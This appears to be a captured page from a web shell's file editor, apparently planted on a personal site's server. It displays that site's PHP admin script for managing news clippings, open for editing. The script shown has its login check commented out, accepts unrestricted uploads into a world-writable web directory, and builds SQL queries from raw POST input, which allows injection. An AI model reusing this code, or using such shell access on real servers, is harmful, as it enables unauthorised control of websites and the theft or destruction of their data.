

<div style='background:#ffffff; color:#000; font-family:monospace; padding:0; max-width:900px; margin:20px auto; border:3px solid #000;'><div style='background:#000080; color:#fff; padding:6px 12px; font-weight:bold;'>✏ 编辑: manage_clippings.php</div><div style='padding:20px;'><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#fff; color:#000; border:2px solid #000; font-family:monospace; padding:10px;'>&lt;?php
session_start();
require_once 'db_config.php';


// // Check if admin is logged in
// if (!isset($_SESSION['admin_logged_in'])) {
//     header('Location: login.php');
//     exit();
// }

$conn = getDBConnection();

// Handle form submissions
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['action'])) {
        switch ($_POST['action']) {
            case 'add':
                $title = $_POST['title'];
                $description = $_POST['description'];
                $publication_name = $_POST['publication_name'];
                $publication_date = $_POST['publication_date'];
                $external_link = $_POST['external_link'];
                $display_order = $_POST['display_order'];
                
                // Handle file upload
                $target_dir = &quot;../images/clippings/&quot;;
                if (!file_exists($target_dir)) {
                    mkdir($target_dir, 0777, true);
                }
                
                $image_name = time() . '_' . basename($_FILES[&quot;clipping_image&quot;][&quot;name&quot;]);
                $target_file = $target_dir . $image_name;
                
                if (move_uploaded_file($_FILES[&quot;clipping_image&quot;][&quot;tmp_name&quot;], $target_file)) {
                    $stmt = $conn-&gt;prepare(&quot;INSERT INTO news_clippings (title, description, image_path, publication_name, publication_date, external_link, display_order) VALUES (?, ?, ?, ?, ?, ?, ?)&quot;);
                    $stmt-&gt;bind_param(&quot;ssssssi&quot;, $title, $description, $image_name, $publication_name, $publication_date, $external_link, $display_order);
                    
                    if ($stmt-&gt;execute()) {
                        $success_message = &quot;News clipping added successfully!&quot;;
                    } else {
                        $error_message = &quot;Error adding news clipping: &quot; . $conn-&gt;error;
                    }
                } else {
                    $error_message = &quot;Error uploading image.&quot;;
                }
                break;
                
            case 'delete':
                $id = $_POST['id'];
                $result = $conn-&gt;query(&quot;SELECT image_path FROM news_clippings WHERE id = $id&quot;);
                if ($row = $result-&gt;fetch_assoc()) {
                    unlink(&quot;../images/clippings/&quot; . $row['image_path']);
                }
                $conn-&gt;query(&quot;DELETE FROM news_clippings WHERE id = $id&quot;);
                $success_message = &quot;News clipping deleted successfully!&quot;;
                break;
                
            case 'toggle_status':
                $id = $_POST['id'];
                $conn-&gt;query(&quot;UPDATE news_clippings SET is_active = NOT is_active WHERE id = $id&quot;);
                $success_message = &quot;Status updated successfully!&quot;;
                break;
        }
    }
}

// Fetch all clippings
$result = $conn-&gt;query(&quot;SELECT * FROM news_clippings ORDER BY display_order ASC, created_at DESC&quot;);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Manage News Clippings - Admin Panel&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        .container {
            max-width: 1400px;
            margin: 0 auto;
            background: white;
            border-radius: 20px;
            box-shadow: 0 20px 60px rgba(0,0,0,0.3);
            overflow: hidden;
        }
        .header {
            background: linear-gradient(135deg, #A5806A 0%, #8B6F5C 100%);
            color: white;
            padding: 30px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .header h1 {
            font-size: 2rem;
            display: flex;
            align-items: center;
            gap: 15px;
        }
        .back-btn {
            background: rgba(255,255,255,0.2);
            color: white;
            padding: 10px 20px;
            border-radius: 8px;
            text-decoration: none;
            transition: all 0.3s;
        }
        .back-btn:hover {
            background: rgba(255,255,255,0.3);
            transform: translateY(-2px);
        }
        .content {
            padding: 30px;
        }
        .alert {
            padding: 15px 20px;
            border-radius: 10px;
            margin-bottom: 20px;
            animation: slideIn 0.5s ease;
        }
        .alert-success {
            background: #d4edda;
            color: #155724;
            border-left: 4px solid #28a745;
        }
        .alert-error {
            background: #f8d7da;
            color: #721c24;
            border-left: 4px solid #dc3545;
        }
        .form-card {
            background: #f8f9fa;
            padding: 30px;
            border-radius: 15px;
            margin-bottom: 30px;
            border: 2px solid #e9ecef;
        }
        .form-card h2 {
            color: #A5806A;
            margin-bottom: 25px;
            font-size: 1.5rem;
        }
        .form-grid {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
            margin-bottom: 20px;
        }
        .form-group {
            display: flex;
            flex-direction: column;
        }
        .form-group.full-width {
            grid-column: 1 / -1;
        }
        .form-group label {
            font-weight: 600;
            color: #495057;
            margin-bottom: 8px;
            font-size: 0.9rem;
        }
        .form-group input, .form-group textarea, .form-group select {
            padding: 12px 15px;
            border: 2px solid #dee2e6;
            border-radius: 8px;
            font-size: 1rem;
            transition: all 0.3s;
        }
        .form-group input:focus, .form-group textarea:focus {
            outline: none;
            border-color: #A5806A;
            box-shadow: 0 0 0 3px rgba(165, 128, 106, 0.1);
        }
        .form-group textarea {
            resize: vertical;
            min-height: 100px;
        }
        .file-input-wrapper {
            position: relative;
            overflow: hidden;
            display: inline-block;
            width: 100%;
        }
        .file-input-wrapper input[type=file] {
            position: absolute;
            left: -9999px;
        }
        .file-input-label {
            display: block;
            padding: 12px 15px;
            background: #e9ecef;
            border: 2px dashed #A5806A;
            border-radius: 8px;
            cursor: pointer;
            text-align: center;
            transition: all 0.3s;
        }
        .file-input-label:hover {
            background: #dee2e6;
            border-color: #8B6F5C;
        }
        .submit-btn {
            background: linear-gradient(135deg, #A5806A 0%, #8B6F5C 100%);
            color: white;
            padding: 15px 40px;
            border: none;
            border-radius: 10px;
            font-size: 1.1rem;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s;
            box-shadow: 0 4px 15px rgba(165, 128, 106, 0.3);
        }
        .submit-btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 6px 20px rgba(165, 128, 106, 0.4);
        }
        .clippings-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(350px, 1fr));
            gap: 25px;
            margin-top: 30px;
        }
        .clipping-item {
            background: white;
            border-radius: 15px;
            overflow: hidden;
            box-shadow: 0 5px 20px rgba(0,0,0,0.1);
            transition: all 0.3s;
            border: 2px solid #e9ecef;
        }
        .clipping-item:hover {
            transform: translateY(-5px);
            box-shadow: 0 10px 30px rgba(0,0,0,0.15);
        }
        .clipping-image {
            width: 100%;
            height: 250px;
            object-fit: cover;
            background: #f8f9fa;
        }
        .clipping-details {
            padding: 20px;
        }
        .clipping-publication {
            display: inline-block;
            background: rgba(165, 128, 106, 0.1);
            color: #A5806A;
            padding: 5px 12px;
            border-radius: 20px;
            font-size: 0.75rem;
            font-weight: 600;
            text-transform: uppercase;
            margin-bottom: 10px;
        }
        .clipping-title {
            font-size: 1.2rem;
            color: #2c1810;
            margin-bottom: 10px;
            font-weight: 600;
        }
        .clipping-description {
            color: #6c757d;
            font-size: 0.9rem;
            line-height: 1.6;
            margin-bottom: 15px;
            display: -webkit-box;
            -webkit-line-clamp: 3;
            -webkit-box-orient: vertical;
            overflow: hidden;
        }
        .clipping-meta {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
            padding-bottom: 15px;
            border-bottom: 1px solid #e9ecef;
        }
        .clipping-date {
            font-size: 0.85rem;
            color: #6c757d;
        }
        .status-badge {
            padding: 5px 12px;
            border-radius: 20px;
            font-size: 0.75rem;
            font-weight: 600;
        }
        .status-active {
            background: #d4edda;
            color: #155724;
        }
        .status-inactive {
            background: #f8d7da;
            color: #721c24;
        }
        .clipping-actions {
            display: flex;
            gap: 10px;
        }
        .action-btn {
            flex: 1;
            padding: 10px;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-weight: 600;
            transition: all 0.3s;
            font-size: 0.9rem;
        }
        .toggle-btn {
            background: #ffc107;
            color: #000;
        }
        .toggle-btn:hover {
            background: #ffb300;
            transform: scale(1.05);
        }
        .delete-btn {
            background: #dc3545;
            color: white;
        }
        .delete-btn:hover {
            background: #c82333;
            transform: scale(1.05);
        }
        @keyframes slideIn {
            from {
                opacity: 0;
                transform: translateY(-20px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        @media (max-width: 768px) {
            .form-grid {
                grid-template-columns: 1fr;
            }
            .clippings-grid {
                grid-template-columns: 1fr;
            }
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class=&quot;container&quot;&gt;
        &lt;div class=&quot;header&quot;&gt;
            &lt;h1&gt;📰 Manage News Clippings&lt;/h1&gt;
            &lt;a href=&quot;dashboard.php&quot; class=&quot;back-btn&quot;&gt;← Back to Dashboard&lt;/a&gt;
        &lt;/div&gt;
        
        &lt;div class=&quot;content&quot;&gt;
            &lt;?php if (isset($success_message)): ?&gt;
                &lt;div class=&quot;alert alert-success&quot;&gt;&lt;?php echo $success_message; ?&gt;&lt;/div&gt;
            &lt;?php endif; ?&gt;
            
            &lt;?php if (isset($error_message)): ?&gt;
                &lt;div class=&quot;alert alert-error&quot;&gt;&lt;?php echo $error_message; ?&gt;&lt;/div&gt;
            &lt;?php endif; ?&gt;
            
            &lt;div class=&quot;form-card&quot;&gt;
                &lt;h2&gt;Add New News Clipping&lt;/h2&gt;
                &lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;add&quot;&gt;
                    
                    &lt;div class=&quot;form-grid&quot;&gt;
                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;label for=&quot;title&quot;&gt;Title *&lt;/label&gt;
                            &lt;input type=&quot;text&quot; id=&quot;title&quot; name=&quot;title&quot; required&gt;
                        &lt;/div&gt;
                        
                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;label for=&quot;publication_name&quot;&gt;Publication Name&lt;/label&gt;
                            &lt;input type=&quot;text&quot; id=&quot;publication_name&quot; name=&quot;publication_name&quot;&gt;
                        &lt;/div&gt;
                        
                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;label for=&quot;publication_date&quot;&gt;Publication Date&lt;/label&gt;
                            &lt;input type=&quot;date&quot; id=&quot;publication_date&quot; name=&quot;publication_date&quot;&gt;
                        &lt;/div&gt;
                        
                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;label for=&quot;display_order&quot;&gt;Display Order&lt;/label&gt;
                            &lt;input type=&quot;number&quot; id=&quot;display_order&quot; name=&quot;display_order&quot; value=&quot;0&quot; min=&quot;0&quot;&gt;
                        &lt;/div&gt;
                        
                        &lt;div class=&quot;form-group full-width&quot;&gt;
                            &lt;label for=&quot;external_link&quot;&gt;External Link (Optional)&lt;/label&gt;
                            &lt;input type=&quot;url&quot; id=&quot;external_link&quot; name=&quot;external_link&quot; placeholder=&quot;https://www.hindustantimes.com/author/manisha-koushik&quot;&gt;
                            &lt;small style=&quot;color: #6c757d; margin-top: 5px; display: block;&quot;&gt;Add a link to the original article or publication page&lt;/small&gt;
                        &lt;/div&gt;
                        
                        &lt;div class=&quot;form-group full-width&quot;&gt;
                            &lt;label for=&quot;description&quot;&gt;Description *&lt;/label&gt;
                            &lt;textarea id=&quot;description&quot; name=&quot;description&quot; required&gt;&lt;/textarea&gt;
                        &lt;/div&gt;
                        
                        &lt;div class=&quot;form-group full-width&quot;&gt;
                            &lt;label&gt;Clipping Image * (Recommended: 360x280px or similar ratio)&lt;/label&gt;
                            &lt;div class=&quot;file-input-wrapper&quot;&gt;
                                &lt;input type=&quot;file&quot; id=&quot;clipping_image&quot; name=&quot;clipping_image&quot; accept=&quot;image/*&quot; required onchange=&quot;updateFileName(this)&quot;&gt;
                                &lt;label for=&quot;clipping_image&quot; class=&quot;file-input-label&quot; id=&quot;fileLabel&quot;&gt;
                                    📁 Choose Image File
                                &lt;/label&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                    
                    &lt;button type=&quot;submit&quot; class=&quot;submit-btn&quot;&gt;➕ Add News Clipping&lt;/button&gt;
                &lt;/form&gt;
            &lt;/div&gt;
            
            &lt;h2 style=&quot;color: #A5806A; margin-bottom: 20px; font-size: 1.8rem;&quot;&gt;Existing News Clippings&lt;/h2&gt;
            
            &lt;?php if ($result &amp;&amp; $result-&gt;num_rows &gt; 0): ?&gt;
                &lt;div class=&quot;clippings-grid&quot;&gt;
                    &lt;?php while ($row = $result-&gt;fetch_assoc()): ?&gt;
                        &lt;div class=&quot;clipping-item&quot;&gt;
                            &lt;img src=&quot;../images/clippings/&lt;?php echo htmlspecialchars($row['image_path']); ?&gt;&quot; 
                                 alt=&quot;&lt;?php echo htmlspecialchars($row['title']); ?&gt;&quot;
                                 class=&quot;clipping-image&quot;&gt;
                            &lt;div class=&quot;clipping-details&quot;&gt;
                                &lt;?php if (!empty($row['publication_name'])): ?&gt;
                                    &lt;span class=&quot;clipping-publication&quot;&gt;&lt;?php echo htmlspecialchars($row['publication_name']); ?&gt;&lt;/span&gt;
                                &lt;?php endif; ?&gt;
                                &lt;div class=&quot;clipping-title&quot;&gt;&lt;?php echo htmlspecialchars($row['title']); ?&gt;&lt;/div&gt;
                                &lt;div class=&quot;clipping-description&quot;&gt;&lt;?php echo htmlspecialchars($row['description']); ?&gt;&lt;/div&gt;
                                
                                &lt;div class=&quot;clipping-meta&quot;&gt;
                                    &lt;div class=&quot;clipping-date&quot;&gt;
                                        &lt;?php echo !empty($row['publication_date']) ? date('M d, Y', strtotime($row['publication_date'])) : 'No date'; ?&gt;
                                    &lt;/div&gt;
                                    &lt;span class=&quot;status-badge &lt;?php echo $row['is_active'] ? 'status-active' : 'status-inactive'; ?&gt;&quot;&gt;
                                        &lt;?php echo $row['is_active'] ? 'Active' : 'Inactive'; ?&gt;
                                    &lt;/span&gt;
                                &lt;/div&gt;
                                
                                &lt;?php if (!empty($row['external_link'])): ?&gt;
                                    &lt;div style=&quot;margin-bottom: 15px;&quot;&gt;
                                        &lt;a href=&quot;&lt;?php echo htmlspecialchars($row['external_link']); ?&gt;&quot; 
                                           target=&quot;_blank&quot; 
                                           style=&quot;color: #A5806A; text-decoration: none; font-size: 0.85rem; display: flex; align-items: center; gap: 5px;&quot;&gt;
                                            🔗 View Original Article
                                        &lt;/a&gt;
                                    &lt;/div&gt;
                                &lt;?php endif; ?&gt;
                                
                                &lt;div class=&quot;clipping-actions&quot;&gt;
                                    &lt;form method=&quot;POST&quot; style=&quot;flex: 1;&quot;&gt;
                                        &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;toggle_status&quot;&gt;
                                        &lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;&lt;?php echo $row['id']; ?&gt;&quot;&gt;
                                        &lt;button type=&quot;submit&quot; class=&quot;action-btn toggle-btn&quot;&gt;
                                            &lt;?php echo $row['is_active'] ? '👁️ Hide' : '👁️‍🗨️ Show'; ?&gt;
                                        &lt;/button&gt;
                                    &lt;/form&gt;
                                    &lt;form method=&quot;POST&quot; style=&quot;flex: 1;&quot; onsubmit=&quot;return confirm('Are you sure you want to delete this clipping?');&quot;&gt;
                                        &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;delete&quot;&gt;
                                        &lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;&lt;?php echo $row['id']; ?&gt;&quot;&gt;
                                        &lt;button type=&quot;submit&quot; class=&quot;action-btn delete-btn&quot;&gt;🗑️ Delete&lt;/button&gt;
                                    &lt;/form&gt;
                                &lt;/div&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                    &lt;?php endwhile; ?&gt;
                &lt;/div&gt;
            &lt;?php else: ?&gt;
                &lt;div style=&quot;text-align: center; padding: 60px; color: #6c757d;&quot;&gt;
                    &lt;p style=&quot;font-size: 1.2rem;&quot;&gt;No news clippings added yet. Add your first one above!&lt;/p&gt;
                &lt;/div&gt;
            &lt;?php endif; ?&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    
    &lt;script&gt;
        function updateFileName(input) {
            const label = document.getElementById('fileLabel');
            if (input.files &amp;&amp; input.files[0]) {
                label.textContent = '✅ ' + input.files[0].name;
                label.style.background = '#d4edda';
                label.style.borderColor = '#28a745';
            }
        }
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;?php $conn-&gt;close(); ?&gt;</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/askmanisha/public_html/admin/manage_clippings.php'><input type='submit' value='[确定] 保存' style='background:#c0c0c0; color:#000; border:2px solid #000; padding:8px 24px; font-family:monospace; font-weight:bold; cursor:pointer;'> <a href='?path=%2Fhome%2Faskmanisha%2Fpublic_html%2Fadmin' style='color:#000; text-decoration:none; padding:8px 24px; border:2px solid #000; background:#c0c0c0; font-weight:bold;'>[X] 取消</a></form></div></div><div style='color:#000080; font-family:monospace; text-align:center; padding:20px; border-top:2px solid #000; margin-top:20px;'>[X] MAKING LOT MONEY (MLM)</div>